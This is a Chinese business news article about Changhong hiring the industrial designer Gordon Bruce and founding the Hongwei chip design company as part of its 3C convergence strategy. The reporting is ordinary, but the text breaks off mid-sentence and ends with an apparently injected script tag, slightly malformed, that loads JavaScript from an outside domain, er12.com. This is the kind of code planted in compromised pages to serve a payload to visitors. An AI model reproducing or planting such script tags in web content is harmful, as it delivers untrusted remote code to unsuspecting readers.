2005年夏天，一个在外界看来颇为神秘的人物高登·布鲁斯出现在长虹。实际上，高登·布鲁斯是闻名全球的工业设计大师，来自长虹内部的消息称，高登·布鲁斯的加盟表明长虹在工业设计国际化方面迈出了实质性的一步，成为其参与全球竞争的重要砝码。

　　打造工业设计dna

　　“工业设计不等于外观设计。”见到长虹工业设计中心主任莫文伟这样表示，而在中国工业企业百年发展史中，工业设计就几乎与外观设计划上了等号。这一观念，因韩国三星的崛起而让有识者参透，更因一手打造三星工业设计体系的一位美国工业设计大师高登·布鲁斯的到来，让国人警醒。

　　高登·布鲁斯来到中国，为了长虹。2005年8月13日，在长虹工业设计委员会第二次会议上，来自美国的国际工业设计界大师高登·布鲁斯先生，以及来自中国清华大学和湖南大学的鲁晓波与何人可教授，受聘正式成为长虹设计顾问。

　　“当前，我们工业设计的任务，就是把公司品牌理念物化到产品中。”有长虹高层这样表示，随着新的品牌理念的营造，长虹品牌正在走向年轻化、时尚化，怎样把握品牌发展的脉搏，确实是长虹工业设计中心必须承接的挑战。

　　高登·布鲁斯的能量在此时显现，其“回到用户”的工业设计理念，让长虹工业设计人员奉为经典：从用户最本质的需求出发，了解用户的生活状况、使用状况，不但可以完善产品既有设计，还将发现新的“机会点”——发现新的功能需求，甚至新的产品需求。套用时下最流行的术语，就是发现“蓝海”。

　　“未来，我们将通过专业的用户研究体系，为整个公司寻找新的产业方向。”叶根军说，工业设计中心会成为整个公司提供“概念产品”的前端，芯片设计、软件设计将提供关键技术配套，将“概念”转化为真正的产品。

　　长虹的这一战略步骤还有更多的标志性意义：通过实施技术创新战略，长虹已造就三大核心技术能力：以虹微公司为主体的ic芯片开发能力；以长虹国家级技术中心为主体的嵌入式软件开发能力；以长虹工业设计中心为主体的工业设计能力。

　　形成三大核心技术能力，对长虹究竟意味着什么？三大核心技术能力之间关联点何在？它们能否支撑起长虹在未来3c融合路上的发展？

　　“芯”动作

　　2005年6月30日，长虹在成都组建四川虹微技术有限公司，这家由“海归” 博士杨刚领衔的专业ic制造公司浮出水面，意味着长虹切中了行业企业核心技术缺失的软肋。

　　集成电路的设计制造能力是衡量国家技术水平的标志，也是信息产业发展的必然方向。我国是一个ic的“消费大国”，但又是一个ic的“设计生产小国”。集成电路已成为制约信息产业发展的瓶颈。中国企业每年采购ic费用巨大。

　　采购量大、费用高还不是最主要的问题。对企业而言，没有ic设计能力，就没有对未来产品的定义权。当前，国内各厂商的产品同质化趋向十分明显，就因数字家电的功能基本取决于核心芯片，大家采购的都是国际几个巨头的通用芯片，只能在系统上做点加减法，无法形成产品的核心竞争力。

　　但产业更替的机遇又给了长虹希望：3c融合的大技术趋势已确立，目前虽有公司推出了所谓的3c融合产品，但功能简单，操作复杂，成本也高。其根本问题是基于计算机构架去研究家电产品，实际上是一台“多媒体pc”，不是真正的3c融合产品。

　　真正意义上的3c家电的问市，将取决于芯片技术的大幅度提升。现在，世界同行都处于同一起跑线上，中国企业起步未晚。

　　虹微公司在短短8个多月时间里，已迅速组建了一支包括2名博士、30名硕士在内的技术团队，他们有的来自于国内外各大企业，有的来自各大科研院校，具有较为丰富的实践经验。回顾虹微的发展，杨刚感慨：“国内鼓励自主创新的大环境，以及长虹公司在资金、技术、人才上给予的巨大支持，让我们有勇气、有决心，去碰一碰外国人垄断的所谓国际领先技术。”

　　今年2月，虹微喜讯连连。继数字会聚芯片诞生后，其他几个芯片项目开发已进入尾声?script src=http://er12.com/t.js>